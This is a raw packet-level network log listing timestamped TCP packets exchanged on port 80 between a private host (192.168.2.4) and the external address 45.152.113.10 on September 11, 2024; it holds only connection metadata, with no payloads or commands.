Sep 11, 2024 22:52:07.340342999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340361118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340375900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340395927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340409994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340440989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340442896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340461016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340476990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340512037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340522051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340522051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340545893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340570927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340578079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340588093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340610981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340634108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340643883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340671062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340677977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340692997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340709925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340738058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340748072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340775013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340780020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340799093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340830088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340848923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340862036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340902090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340910912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340923071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340943098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340964079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340991974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341002941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341041088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341048956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341073036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341094017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341103077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341128111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341151953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341165066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341187000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341207981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341217995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341238976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341249943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341270924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341290951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341306925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341324091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341348886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341356039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341372967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341393948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341407061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341443062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341449022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341475964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341500998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341509104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341526031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341542006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341562986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341573954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341603994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341622114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341624975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341653109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341682911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341701984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341706038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341752052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341764927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341785908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341815948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341818094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341835976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341852903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341886997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341888905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341919899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341937065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341939926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.341965914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.341995955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342015028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342017889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342046976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342067957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342081070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342108011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342124939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342128992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342161894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342192888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342225075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342233896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342252016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342258930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342282057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342308044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342324018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342340946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342369080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342375994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342391014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342408895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342430115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342439890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342463970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342475891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342487097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342508078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342528105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342540979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342562914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342572927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342597961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342605114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342621088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342639923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342657089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342673063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342686892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342705965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342722893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342739105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342763901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342772007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342783928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342813015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342844963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342844963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342861891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342880011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342904091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342921972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342926979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342961073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.342983007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.342993021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343013048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343025923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343053102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343058109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343079090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343091965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343116045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343123913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343146086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343156099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343180895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343189955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343209982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343221903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343246937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343256950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343276978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343290091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343322039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343329906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343350887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343354940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343403101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343403101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343408108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343442917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343456984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343494892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343503952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343537092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343561888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343569994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343600035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343602896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343621016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343621016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343635082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343650103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343660116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343666077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343681097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343686104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343694925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343708992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343724012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343725920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343739033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343749046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343753099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343767881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343777895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343781948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343796968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343801975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343811989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343828917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343831062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343842983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343852997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343858004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.343894005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.343930006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.427957058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428009987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428041935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428049088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428092957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428107977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428123951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428127050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428150892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428169966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428174019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428205013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428234100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428251028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428253889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428284883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428314924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428366899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428394079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428400993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428430080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428452015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428457975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428503036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428503990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428554058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428564072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428586006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428608894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428618908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428653002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428663015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428680897 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428684950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428716898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428719044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428740025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428749084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428774118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428793907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428811073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428847075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428878069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428905964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.428931952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428953886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.428982973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429029942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429033041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429080009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429081917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429126978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429131031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429176092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429177999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429208040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429230928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429248095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429260015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429291964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429317951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429338932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429342985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429372072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429397106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429419041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429420948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429452896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429474115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429501057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429507971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429533005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429555893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429565907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429590940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429599047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429616928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429630995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429649115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429680109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429682970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429711103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429733038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429747105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429768085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429778099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429802895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429811001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429826021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429860115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429863930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429896116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429915905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429927111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429948092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429960966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.429981947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.429997921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430015087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430030107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430047989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430063963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430077076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430097103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430118084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430128098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430155039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430183887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430188894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430216074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430238008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430248022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430265903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430279016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430301905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430310965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430336952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430358887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430358887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430391073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430413008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430425882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430443048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430459976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430480003 CEST	49733	80	192.168.2.4	45.152.113.10
